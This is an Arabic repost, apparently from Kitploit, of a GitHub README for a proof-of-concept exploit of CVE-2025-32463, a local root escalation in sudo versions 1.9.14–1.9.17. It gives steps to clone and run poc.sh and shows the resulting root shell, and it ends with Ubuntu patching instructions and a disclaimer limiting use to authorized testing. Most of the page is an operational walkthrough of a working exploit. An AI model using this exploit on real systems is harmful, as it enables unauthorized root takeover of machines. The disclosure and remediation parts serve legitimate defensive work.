CVE-2025-32463 — إثبات مفهوم لاستغلال CVE-2025-32463، وهو تصعيد صلاحيات محلي في إصدارات sudo 1.9.14-1.9.17، مع مكتبة مُجمّعة مسبقًا وتعليمات المعالجة. | Kitploit

CVE-2025-32463 – استغلال رفع الصلاحيات في Sudo (PoC) مع مكتبة مُجمّعة مسبقًا

يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال ثغرة CVE-2025-32463، وهي ثغرة رفع صلاحيات محلية في sudo اكتشفها Rich Mirch.

الإسناد

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ إخلاء مسؤولية

هذا الإثبات هو لأغراض تعليمية والاختبار المصرح به فقط. لا تستخدم هذا الكود على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

🔧 المتطلبات

sudo مع دعم chroot (-R): الإصدار 1.9.14 إلى 1.9.17
تفعيل nsswitch

🚀 كيفية تشغيل الإثبات

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

تحقق مما إذا كان المستخدم الحالي لديه صلاحيات منخفضة

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

تحقق من المتطلبات

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

شغّل الاستغلال

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 المعالجة على Ubuntu 24.04 LTS

للأنظمة المتصلة بالإنترنت، فقط شغّل
```
sudo apt update && sudo apt upgrade
```
للأنظمة المعزولة عن الشبكة: يمكنك الحصول على أحدث حزمة sudo من هنا: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. بعد نقل الحزمة إلى النظام المستهدف، فقط شغّل:
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```

تنزيل الأداة